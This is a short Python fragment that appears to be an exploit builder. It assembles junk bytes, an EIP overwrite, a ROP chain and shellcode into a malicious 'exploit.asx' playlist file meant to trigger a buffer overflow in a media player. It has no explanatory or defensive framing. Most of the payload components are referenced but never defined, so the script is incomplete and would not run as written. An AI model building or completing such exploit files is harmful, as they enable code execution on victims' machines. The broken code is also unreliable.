import struct,sys head =''' ''' payload=head+junk+EIP+adjust+rop_chain+shellcode+garbage+foot fobj = open("exploit.asx","w") fobj.write(payload) fobj.close()